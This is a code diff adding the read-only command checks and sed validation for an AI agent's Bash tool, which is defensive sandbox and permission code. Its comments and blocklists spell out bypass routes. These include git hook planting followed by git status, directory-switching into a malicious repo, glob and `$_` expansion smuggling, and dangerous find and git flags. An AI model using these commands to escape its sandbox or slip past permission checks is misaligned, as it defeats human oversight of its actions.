+  // Path commands (path validation ensures they're allowed)
+  // cd command - allows changing to directories
+  /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
+  // ls command - allows listing directories
+  /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
+  // find command - blocks dangerous flags
+  // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
+  // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
+  // not as backslash + paren (which would fail since paren is excluded from the character class)
+  /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
+])
+
+/**
+ * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
+ * variables OUTSIDE the quote contexts where bash would treat them as literal.
+ * These could expand to bypass our regex-based security checks.
+ *
+ * Glob examples:
+ * - `python *` could expand to `python --help` if a file named `--help` exists
+ * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
+ * Globs are literal inside BOTH single and double quotes.
+ *
+ * Variable expansion examples:
+ * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
+ *   with IFS word splitting, this smuggles positional args past "flags-only"
+ *   regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
+ * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
+ * Variables are literal ONLY inside single quotes; they expand inside double
+ * quotes and unquoted.
+ *
+ * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
+ * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+ * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
+ * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
+ * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
+ * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
+ *
+ * @param command The command string to check
+ * @returns true if the command contains unquoted glob or expandable `$`
+ */
+function containsUnquotedExpansion(command: string): boolean {
+  // Track quote state to avoid false positives for patterns inside quoted strings
+  let inSingleQuote = false
+  let inDoubleQuote = false
+  let escaped = false
+
+  for (let i = 0; i < command.length; i++) {
+    const currentChar = command[i]
+
+    // Handle escape sequences
+    if (escaped) {
+      escaped = false
+      continue
+    }
+
+    // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
+    // `\` inside `'...'` is LITERAL — it does not escape the next character.
+    // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
+    // escaped=true, then the closing `'` is consumed by the escaped-skip
+    // instead of toggling inSingleQuote. Parser stays in single-quote
+    // mode for the rest of the command, missing ALL subsequent expansions.
+    // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
+    // `*` is inside quotes → returns false (glob NOT detected).
+    // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
+    // before this function is reached, but we fix the tracker anyway for
+    // consistency with the correct implementations in bashSecurity.ts.
+    if (currentChar === '\\' && !inSingleQuote) {
+      escaped = true
+      continue
+    }
+
+    // Update quote state
+    if (currentChar === "'" && !inDoubleQuote) {
+      inSingleQuote = !inSingleQuote
+      continue
+    }
+
+    if (currentChar === '"' && !inSingleQuote) {
+      inDoubleQuote = !inDoubleQuote
+      continue
+    }
+
+    // Inside single quotes: everything is literal. Skip.
+    if (inSingleQuote) {
+      continue
+    }
+
+    // Check `$` followed by variable-name or special-parameter character.
+    // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
+    if (currentChar === '$') {
+      const next = command[i + 1]
+      if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
+        return true
+      }
+    }
+
+    // Globs are literal inside double quotes too. Only check unquoted.
+    if (inDoubleQuote) {
+      continue
+    }
+
+    // Check for glob characters outside all quotes.
+    // These could expand to anything, including dangerous flags.
+    if (currentChar && /[?*[\]]/.test(currentChar)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
+ * Internal helper function that validates individual commands.
+ *
+ * @param command The command string to check
+ * @returns true if the command is read-only
+ */
+function isCommandReadOnly(command: string): boolean {
+  // Handle common stderr-to-stdout redirection pattern
+  // This handles both "command 2>&1" at the end of a full command
+  // and "command 2>&1" as part of a pipeline component
+  let testCommand = command.trim()
+  if (testCommand.endsWith(' 2>&1')) {
+    // Remove the stderr redirection for pattern matching
+    testCommand = testCommand.slice(0, -5).trim()
+  }
+
+  // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
+  // Do this early to prevent any command with UNC paths from being marked as read-only
+  if (containsVulnerableUncPath(testCommand)) {
+    return false
+  }
+
+  // Check for unquoted glob characters and expandable `$` variables that could
+  // bypass our regex-based security checks. We can't know what these expand to
+  // at runtime, so we can't verify the command is read-only.
+  //
+  // Globs: `python *` could expand to `python --help` if such a file exists.
+  //
+  // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
+  // last arg of the previous command. With IFS word splitting, this smuggles
+  // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
+  // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+  // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
+  // have no such guard. See containsUnquotedExpansion for full analysis.
+  if (containsUnquotedExpansion(testCommand)) {
+    return false
+  }
+
+  // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
+  // Regex filters can be bypassed, so we use strict allowlist validation instead.
+  // This requires defining a set of known safe flags. Claude can help with this,
+  // but please look over it to ensure it didn't add any flags that allow file writes
+  // code execution, or network requests.
+  if (isCommandSafeViaFlagParsing(testCommand)) {
+    return true
+  }
+
+  for (const regex of READONLY_COMMAND_REGEXES) {
+    if (regex.test(testCommand)) {
+      // Prevent git commands with -c flag to avoid config options that can lead to code execution
+      // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
+      // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
+      // Check for -c preceded by whitespace and followed by whitespace or equals
+      // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
+      if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
+        return false
+      }
+
+      // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
+      // The --exec-path flag allows overriding the directory where git looks for executables
+      if (
+        testCommand.includes('git') &&
+        /\s--exec-path[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+
+      // Prevent git commands with --config-env flag to avoid config injection via environment variables
+      // The --config-env flag allows setting git config values from environment variables, which can be
+      // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
+      if (
+        testCommand.includes('git') &&
+        /\s--config-env[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Checks if a compound command contains any git command.
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand is a git command
+ */
+function commandHasAnyGit(command: string): boolean {
+  return splitCommand_DEPRECATED(command).some(subcmd =>
+    isNormalizedGitCommand(subcmd.trim()),
+  )
+}
+
+/**
+ * Git-internal path patterns that can be exploited for sandbox escape.
+ * If a command creates these files and then runs git, the git command
+ * could execute malicious hooks from the created files.
+ */
+const GIT_INTERNAL_PATTERNS = [
+  /^HEAD$/,
+  /^objects(?:\/|$)/,
+  /^refs(?:\/|$)/,
+  /^hooks(?:\/|$)/,
+]
+
+/**
+ * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
+ */
+function isGitInternalPath(path: string): boolean {
+  // Normalize path by removing leading ./ or /
+  const normalized = path.replace(/^\.?\//, '')
+  return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
+}
+
+// Commands that only delete or modify in-place (don't create new files at new paths)
+const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
+
+/**
+ * Extracts write paths from a subcommand using PATH_EXTRACTORS.
+ * Only returns paths for commands that can create new files/directories
+ * (write/create operations excluding deletion and in-place modification).
+ */
+function extractWritePathsFromSubcommand(subcommand: string): string[] {
+  const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
+  if (!parseResult.success) return []
+
+  const tokens = parseResult.tokens.filter(
+    (t): t is string => typeof t === 'string',
+  )
+  if (tokens.length === 0) return []
+
+  const baseCmd = tokens[0]
+  if (!baseCmd) return []
+
+  // Only consider commands that can create files at target paths
+  if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
+    return []
+  }
+  const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
+  if (
+    (opType !== 'write' && opType !== 'create') ||
+    NON_CREATING_WRITE_COMMANDS.has(baseCmd)
+  ) {
+    return []
+  }
+
+  const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
+  if (!extractor) return []
+
+  return extractor(tokens.slice(1))
+}
+
+/**
+ * Checks if a compound command writes to any git-internal paths.
+ * This is used to detect potential sandbox escape attacks where a command
+ * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
+ *
+ * SECURITY: A compound command could bypass the bare repo detection by:
+ * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
+ * 2. Then running git, which would execute malicious hooks
+ *
+ * Example attack:
+ * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand writes to git-internal paths
+ */
+function commandWritesToGitInternalPaths(command: string): boolean {
+  const subcommands = splitCommand_DEPRECATED(command)
+
+  for (const subcmd of subcommands) {
+    const trimmed = subcmd.trim()
+
+    // Check write paths from path-based commands (mkdir, touch, cp, mv)
+    const writePaths = extractWritePathsFromSubcommand(trimmed)
+    for (const path of writePaths) {
+      if (isGitInternalPath(path)) {
+        return true
+      }
+    }
+
+    // Check output redirections (e.g., echo x > hooks/pre-commit)
+    const { redirections } = extractOutputRedirections(trimmed)
+    for (const { target } of redirections) {
+      if (isGitInternalPath(target)) {
+        return true
+      }
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks read-only constraints for bash commands.
+ * This is the single exported function that validates whether a command is read-only.
+ * It handles compound commands, sandbox mode, and safety checks.
+ *
+ * @param input The bash command input to validate
+ * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
+ *                              This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
+ * @returns PermissionResult indicating whether the command is read-only
+ */
+export function checkReadOnlyConstraints(
+  input: z.infer<typeof BashTool.inputSchema>,
+  compoundCommandHasCd: boolean,
+): PermissionResult {
+  const { command } = input
+
+  // Detect if the command is not parseable and return early
+  const result = tryParseShellCommand(command, env => `$${env}`)
+  if (!result.success) {
+    return {
+      behavior: 'passthrough',
+      message: 'Command cannot be parsed, requires further permission checks',
+    }
+  }
+
+  // Check the original command for safety before splitting
+  // This is important because splitCommand_DEPRECATED may transform the command
+  // (e.g., ${VAR} becomes $VAR)
+  if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
+    return {
+      behavior: 'passthrough',
+      message: 'Command is not read-only, requires further permission checks',
+    }
+  }
+
+  // Check for Windows UNC paths in the original command before transformation
+  // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
+  if (containsVulnerableUncPath(command)) {
+    return {
+      behavior: 'ask',
+      message:
+        'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
+    }
+  }
+
+  // Check once if any subcommand is a git command (used for multiple security checks below)
+  const hasGitCommand = commandHasAnyGit(command)
+
+  // SECURITY: Block compound commands that have both cd AND git
+  // This prevents sandbox escape via: cd /malicious/dir && git status
+  // where the malicious directory contains fake git hooks that execute arbitrary code.
+  if (compoundCommandHasCd && hasGitCommand) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands with cd and git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
+  // This prevents sandbox escape when an attacker has:
+  // 1. Deleted .git/HEAD to invalidate the normal git directory
+  // 2. Created hooks/pre-commit or other git-internal files in the current directory
+  // Git would then treat the cwd as the git directory and execute malicious hooks.
+  if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands in directories with bare repository structure require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block compound commands that write to git-internal paths AND run git
+  // This prevents sandbox escape where a command creates git-internal files
+  // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
+  // malicious hooks from the newly created files.
+  // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
+  if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands that create git internal files and run git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
+  // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
+  // Race condition: a sandboxed command can create bare repo files in a subdirectory,
+  // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
+  // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
+  if (
+    hasGitCommand &&
+    SandboxManager.isSandboxingEnabled() &&
+    getCwd() !== getOriginalCwd()
+  ) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands outside the original working directory require permission checks when sandbox is enabled',
+    }
+  }
+
+  // Check if all subcommands are read-only
+  const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
+    subcmd => {
+      if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
+        return false
+      }
+      return isCommandReadOnly(subcmd)
+    },
+  )
+
+  if (allSubcommandsReadOnly) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+    }
+  }
+
+  // If not read-only, return passthrough to let other permission checks handle it
+  return {
+    behavior: 'passthrough',
+    message: 'Command is not read-only, requires further permission checks',
+  }
+}

src/tools/BashTool/sedEditParser.ts

@@ -0,0 +1,322 @@
+/**
+ * Parser for sed edit commands (-i flag substitutions)
+ * Extracts file paths and substitution patterns to enable file-edit-style rendering
+ */
+
+import { randomBytes } from 'crypto'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+
+// BRE→ERE conversion placeholders (null-byte sentinels, never appear in user input)
+const BACKSLASH_PLACEHOLDER = '\x00BACKSLASH\x00'
+const PLUS_PLACEHOLDER = '\x00PLUS\x00'
+const QUESTION_PLACEHOLDER = '\x00QUESTION\x00'
+const PIPE_PLACEHOLDER = '\x00PIPE\x00'
+const LPAREN_PLACEHOLDER = '\x00LPAREN\x00'
+const RPAREN_PLACEHOLDER = '\x00RPAREN\x00'
+const BACKSLASH_PLACEHOLDER_RE = new RegExp(BACKSLASH_PLACEHOLDER, 'g')
+const PLUS_PLACEHOLDER_RE = new RegExp(PLUS_PLACEHOLDER, 'g')
+const QUESTION_PLACEHOLDER_RE = new RegExp(QUESTION_PLACEHOLDER, 'g')
+const PIPE_PLACEHOLDER_RE = new RegExp(PIPE_PLACEHOLDER, 'g')
+const LPAREN_PLACEHOLDER_RE = new RegExp(LPAREN_PLACEHOLDER, 'g')
+const RPAREN_PLACEHOLDER_RE = new RegExp(RPAREN_PLACEHOLDER, 'g')
+
+export type SedEditInfo = {
+  /** The file path being edited */
+  filePath: string
+  /** The search pattern (regex) */
+  pattern: string
+  /** The replacement string */
+  replacement: string
+  /** Substitution flags (g, i, etc.) */
+  flags: string
+  /** Whether to use extended regex (-E or -r flag) */
+  extendedRegex: boolean
+}
+
+/**
+ * Check if a command is a sed in-place edit command
+ * Returns true only for simple sed -i 's/pattern/replacement/flags' file commands
+ */
+export function isSedInPlaceEdit(command: string): boolean {
+  const info = parseSedEditCommand(command)
+  return info !== null
+}
+
+/**
+ * Parse a sed edit command and extract the edit information
+ * Returns null if the command is not a valid sed in-place edit
+ */
+export function parseSedEditCommand(command: string): SedEditInfo | null {
+  const trimmed = command.trim()
+
+  // Must start with sed
+  const sedMatch = trimmed.match(/^\s*sed\s+/)
+  if (!sedMatch) return null
+
+  const withoutSed = trimmed.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return null
+  const tokens = parseResult.tokens
+
+  // Extract string tokens only
+  const args: string[] = []
+  for (const token of tokens) {
+    if (typeof token === 'string') {
+      args.push(token)
+    } else if (
+      typeof token === 'object' &&
+      token !== null &&
+      'op' in token &&
+      token.op === 'glob'
+    ) {
+      // Glob patterns are too complex for this simple parser
+      return null
+    }
+  }
+
+  // Parse flags and arguments
+  let hasInPlaceFlag = false
+  let extendedRegex = false
+  let expression: string | null = null
+  let filePath: string | null = null
+
+  let i = 0
+  while (i < args.length) {
+    const arg = args[i]!
+
+    // Handle -i flag (with or without backup suffix)
+    if (arg === '-i' || arg === '--in-place') {
+      hasInPlaceFlag = true
+      i++
+      // On macOS, -i requires a suffix argument (even if empty string)
+      // Check if next arg looks like a backup suffix (empty, or starts with dot)
+      // Don't consume flags (-E, -r) or sed expressions (starting with s, y, d)
+      if (i < args.length) {
+        const nextArg = args[i]
+        // If next arg is empty string or starts with dot, it's a backup suffix
+        if (
+          typeof nextArg === 'string' &&
+          !nextArg.startsWith('-') &&
+          (nextArg === '' || nextArg.startsWith('.'))
+        ) {
+          i++ // Skip the backup suffix
+        }
+      }
+      continue
+    }
+    if (arg.startsWith('-i')) {
+      // -i.bak or similar (inline suffix)
+      hasInPlaceFlag = true
+      i++
+      continue
+    }
+
+    // Handle extended regex flags
+    if (arg === '-E' || arg === '-r' || arg === '--regexp-extended') {
+      extendedRegex = true
+      i++
+      continue
+    }
+
+    // Handle -e flag with expression
+    if (arg === '-e' || arg === '--expression') {
+      if (i + 1 < args.length && typeof args[i + 1] === 'string') {
+        // Only support single expression
+        if (expression !== null) return null
+        expression = args[i + 1]!
+        i += 2
+        continue
+      }
+      return null
+    }
+    if (arg.startsWith('--expression=')) {
+      if (expression !== null) return null
+      expression = arg.slice('--expression='.length)
+      i++
+      continue
+    }
+
+    // Skip other flags we don't understand
+    if (arg.startsWith('-')) {
+      // Unknown flag - not safe to parse
+      return null
+    }
+
+    // Non-flag argument
+    if (expression === null) {
+      // First non-flag arg is the expression
+      expression = arg
+    } else if (filePath === null) {
+      // Second non-flag arg is the file path
+      filePath = arg
+    } else {
+      // More than one file - not supported for simple rendering
+      return null
+    }
+
+    i++
+  }
+
+  // Must have -i flag, expression, and file path
+  if (!hasInPlaceFlag || !expression || !filePath) {
+    return null
+  }
+
+  // Parse the substitution expression: s/pattern/replacement/flags
+  // Only support / as delimiter for simplicity
+  const substMatch = expression.match(/^s\//)
+  if (!substMatch) {
+    return null
+  }
+
+  const rest = expression.slice(2) // Skip 's/'
+
+  // Find pattern and replacement by tracking escaped characters
+  let pattern = ''
+  let replacement = ''
+  let flags = ''
+  let state: 'pattern' | 'replacement' | 'flags' = 'pattern'
+  let j = 0
+
+  while (j < rest.length) {
+    const char = rest[j]!
+
+    if (char === '\\' && j + 1 < rest.length) {
+      // Escaped character
+      if (state === 'pattern') {
+        pattern += char + rest[j + 1]
+      } else if (state === 'replacement') {
+        replacement += char + rest[j + 1]
+      } else {
+        flags += char + rest[j + 1]
+      }
+      j += 2
+      continue
+    }
+
+    if (char === '/') {
+      if (state === 'pattern') {
+        state = 'replacement'
+      } else if (state === 'replacement') {
+        state = 'flags'
+      } else {
+        // Extra delimiter in flags - unexpected
+        return null
+      }
+      j++
+      continue
+    }
+
+    if (state === 'pattern') {
+      pattern += char
+    } else if (state === 'replacement') {
+      replacement += char
+    } else {
+      flags += char
+    }
+    j++
+  }
+
+  // Must have found all three parts (pattern, replacement delimiter, and optional flags)
+  if (state !== 'flags') {
+    return null
+  }
+
+  // Validate flags - only allow safe substitution flags
+  const validFlags = /^[gpimIM1-9]*$/
+  if (!validFlags.test(flags)) {
+    return null
+  }
+
+  return {
+    filePath,
+    pattern,
+    replacement,
+    flags,
+    extendedRegex,
+  }
+}
+
+/**
+ * Apply a sed substitution to file content
+ * Returns the new content after applying the substitution
+ */
+export function applySedSubstitution(
+  content: string,
+  sedInfo: SedEditInfo,
+): string {
+  // Convert sed pattern to JavaScript regex
+  let regexFlags = ''
+
+  // Handle global flag
+  if (sedInfo.flags.includes('g')) {
+    regexFlags += 'g'
+  }
+
+  // Handle case-insensitive flag (i or I in sed)
+  if (sedInfo.flags.includes('i') || sedInfo.flags.includes('I')) {
+    regexFlags += 'i'
+  }
+
+  // Handle multiline flag (m or M in sed)
+  if (sedInfo.flags.includes('m') || sedInfo.flags.includes('M')) {
+    regexFlags += 'm'
+  }
+
+  // Convert sed pattern to JavaScript regex pattern
+  let jsPattern = sedInfo.pattern
+    // Unescape \/ to /
+    .replace(/\\\//g, '/')
+
+  // In BRE mode (no -E flag), metacharacters have opposite escaping:
+  // BRE: \+ means "one or more", + is literal
+  // ERE/JS: + means "one or more", \+ is literal
+  // We need to convert BRE escaping to ERE for JavaScript regex
+  if (!sedInfo.extendedRegex) {
+    jsPattern = jsPattern
+      // Step 1: Protect literal backslashes (\\) first - in both BRE and ERE, \\ is literal backslash
+      .replace(/\\\\/g, BACKSLASH_PLACEHOLDER)
+      // Step 2: Replace escaped metacharacters with placeholders (these should become unescaped in JS)
+      .replace(/\\\+/g, PLUS_PLACEHOLDER)
+      .replace(/\\\?/g, QUESTION_PLACEHOLDER)
+      .replace(/\\\|/g, PIPE_PLACEHOLDER)
+      .replace(/\\\(/g, LPAREN_PLACEHOLDER)
+      .replace(/\\\)/g, RPAREN_PLACEHOLDER)
+      // Step 3: Escape unescaped metacharacters (these are literal in BRE)
+      .replace(/\+/g, '\\+')
+      .replace(/\?/g, '\\?')
+      .replace(/\|/g, '\\|')
+      .replace(/\(/g, '\\(')
+      .replace(/\)/g, '\\)')
+      // Step 4: Replace placeholders with their JS equivalents
+      .replace(BACKSLASH_PLACEHOLDER_RE, '\\\\')
+      .replace(PLUS_PLACEHOLDER_RE, '+')
+      .replace(QUESTION_PLACEHOLDER_RE, '?')
+      .replace(PIPE_PLACEHOLDER_RE, '|')
+      .replace(LPAREN_PLACEHOLDER_RE, '(')
+      .replace(RPAREN_PLACEHOLDER_RE, ')')
+  }
+
+  // Unescape sed-specific escapes in replacement
+  // Convert \n to newline, & to $& (match), etc.
+  // Use a unique placeholder with random salt to prevent injection attacks
+  const salt = randomBytes(8).toString('hex')
+  const ESCAPED_AMP_PLACEHOLDER = `___ESCAPED_AMPERSAND_${salt}___`
+  const jsReplacement = sedInfo.replacement
+    // Unescape \/ to /
+    .replace(/\\\//g, '/')
+    // First escape \& to a placeholder
+    .replace(/\\&/g, ESCAPED_AMP_PLACEHOLDER)
+    // Convert & to $& (full match) - use $$& to get literal $& in output
+    .replace(/&/g, '$$&')
+    // Convert placeholder back to literal &
+    .replace(new RegExp(ESCAPED_AMP_PLACEHOLDER, 'g'), '&')
+
+  try {
+    const regex = new RegExp(jsPattern, regexFlags)
+    return content.replace(regex, jsReplacement)
+  } catch {
+    // If regex is invalid, return original content
+    return content
+  }
+}

src/tools/BashTool/sedValidation.ts

@@ -0,0 +1,684 @@
+import type { ToolPermissionContext } from '../../Tool.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+
+/**
+ * Helper: Validate flags against an allowlist
+ * Handles both single flags and combined flags (e.g., -nE)
+ * @param flags Array of flags to validate
+ * @param allowedFlags Array of allowed single-character and long flags
+ * @returns true if all flags are valid, false otherwise
+ */
+function validateFlagsAgainstAllowlist(
+  flags: string[],
+  allowedFlags: string[],
+): boolean {
+  for (const flag of flags) {
+    // Handle combined flags like -nE or -Er
+    if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
+      // Check each character in combined flag
+      for (let i = 1; i < flag.length; i++) {
+        const singleFlag = '-' + flag[i]
+        if (!allowedFlags.includes(singleFlag)) {
+          return false
+        }
+      }
+    } else {
+      // Single flag or long flag
+      if (!allowedFlags.includes(flag)) {
+        return false
+      }
+    }
+  }
+  return true
+}
+
+/**
+ * Pattern 1: Check if this is a line printing command with -n flag
+ * Allows: sed -n 'N' | sed -n 'N,M' with optional -E, -r, -z flags
+ * Allows semicolon-separated print commands like: sed -n '1p;2p;3p'
+ * File arguments are ALLOWED for this pattern
+ * @internal Exported for testing
+ */
+export function isLinePrintingCommand(
+  command: string,
+  expressions: string[],
+): boolean {
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return false
+  const parsed = parseResult.tokens
+
+  // Extract all flags
+  const flags: string[] = []
+  for (const arg of parsed) {
+    if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
+      flags.push(arg)
+    }
+  }
+
+  // Validate flags - only allow -n, -E, -r, -z and their long forms
+  const allowedFlags = [
+    '-n',
+    '--quiet',
+    '--silent',
+    '-E',
+    '--regexp-extended',
+    '-r',
+    '-z',
+    '--zero-terminated',
+    '--posix',
+  ]
+
+  if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
+    return false
+  }
+
+  // Check if -n flag is present (required for Pattern 1)
+  let hasNFlag = false
+  for (const flag of flags) {
+    if (flag === '-n' || flag === '--quiet' || flag === '--silent') {
+      hasNFlag = true
+      break
+    }
+    // Check in combined flags
+    if (flag.startsWith('-') && !flag.startsWith('--') && flag.includes('n')) {
+      hasNFlag = true
+      break
+    }
+  }
+
+  // Must have -n flag for Pattern 1
+  if (!hasNFlag) {
+    return false
+  }
+
+  // Must have at least one expression
+  if (expressions.length === 0) {
+    return false
+  }
+
+  // All expressions must be print commands (strict allowlist)
+  // Allow semicolon-separated commands
+  for (const expr of expressions) {
+    const commands = expr.split(';')
+    for (const cmd of commands) {
+      if (!isPrintCommand(cmd.trim())) {
+        return false
+      }
+    }
+  }
+
+  return true
+}
+
+/**
+ * Helper: Check if a single command is a valid print command
+ * STRICT ALLOWLIST - only these exact forms are allowed:
+ * - p (print all)
+ * - Np (print line N, where N is digits)
+ * - N,Mp (print lines N through M)
+ * Anything else (including w, W, e, E commands) is rejected.
+ * @internal Exported for testing
+ */
+export function isPrintCommand(cmd: string): boolean {
+  if (!cmd) return false
+  // Single strict regex that only matches allowed print commands
+  // ^(?:\d+|\d+,\d+)?p$ matches: p, 1p, 123p, 1,5p, 10,200p
+  return /^(?:\d+|\d+,\d+)?p$/.test(cmd)
+}
+
+/**
+ * Pattern 2: Check if this is a substitution command
+ * Allows: sed 's/pattern/replacement/flags' where flags are only: g, p, i, I, m, M, 1-9
+ * When allowFileWrites is true, allows -i flag and file arguments for in-place editing
+ * When allowFileWrites is false (default), requires stdout-only (no file arguments, no -i flag)
+ * @internal Exported for testing
+ */
+function isSubstitutionCommand(
+  command: string,
+  expressions: string[],
+  hasFileArguments: boolean,
+  options?: { allowFileWrites?: boolean },
+): boolean {
+  const allowFileWrites = options?.allowFileWrites ?? false
+
+  // When not allowing file writes, must NOT have file arguments
+  if (!allowFileWrites && hasFileArguments) {
+    return false
+  }
+
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return false
+  const parsed = parseResult.tokens
+
+  // Extract all flags
+  const flags: string[] = []
+  for (const arg of parsed) {
+    if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
+      flags.push(arg)
+    }
+  }
+
+  // Validate flags based on mode
+  // Base allowed flags for both modes
+  const allowedFlags = ['-E', '--regexp-extended', '-r', '--posix']
+
+  // When allowing file writes, also permit -i and --in-place
+  if (allowFileWrites) {
+    allowedFlags.push('-i', '--in-place')
+  }
+
+  if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
+    return false
+  }
+
+  // Must have exactly one expression
+  if (expressions.length !== 1) {
+    return false
+  }
+
+  const expr = expressions[0]!.trim()
+
+  // STRICT ALLOWLIST: Must be exactly a substitution command starting with 's'
+  // This rejects standalone commands like 'e', 'w file', etc.
+  if (!expr.startsWith('s')) {
+    return false
+  }
+
+  // Parse substitution: s/pattern/replacement/flags
+  // Only allow / as delimiter (strict)
+  const substitutionMatch = expr.match(/^s\/(.*?)$/)
+  if (!substitutionMatch) {
+    return false
+  }
+
+  const rest = substitutionMatch[1]!
+
+  // Find the positions of / delimiters
+  let delimiterCount = 0
+  let lastDelimiterPos = -1
+  let i = 0
+  while (i < rest.length) {
+    if (rest[i] === '\\') {
+      // Skip escaped character
+      i += 2
+      continue
+    }
+    if (rest[i] === '/') {
+      delimiterCount++
+      lastDelimiterPos = i
+    }
+    i++
+  }
+
+  // Must have found exactly 2 delimiters (pattern and replacement)
+  if (delimiterCount !== 2) {
+    return false
+  }
+
+  // Extract flags (everything after the last delimiter)
+  const exprFlags = rest.slice(lastDelimiterPos + 1)
+
+  // Validate flags: only allow g, p, i, I, m, M, and optionally ONE digit 1-9
+  const allowedFlagChars = /^[gpimIM]*[1-9]?[gpimIM]*$/
+  if (!allowedFlagChars.test(exprFlags)) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * Checks if a sed command is allowed by the allowlist.
+ * The allowlist patterns themselves are strict enough to reject dangerous operations.
+ * @param command The sed command to check
+ * @param options.allowFileWrites When true, allows -i flag and file arguments for substitution commands
+ * @returns true if the command is allowed (matches allowlist and passes denylist check), false otherwise
+ */
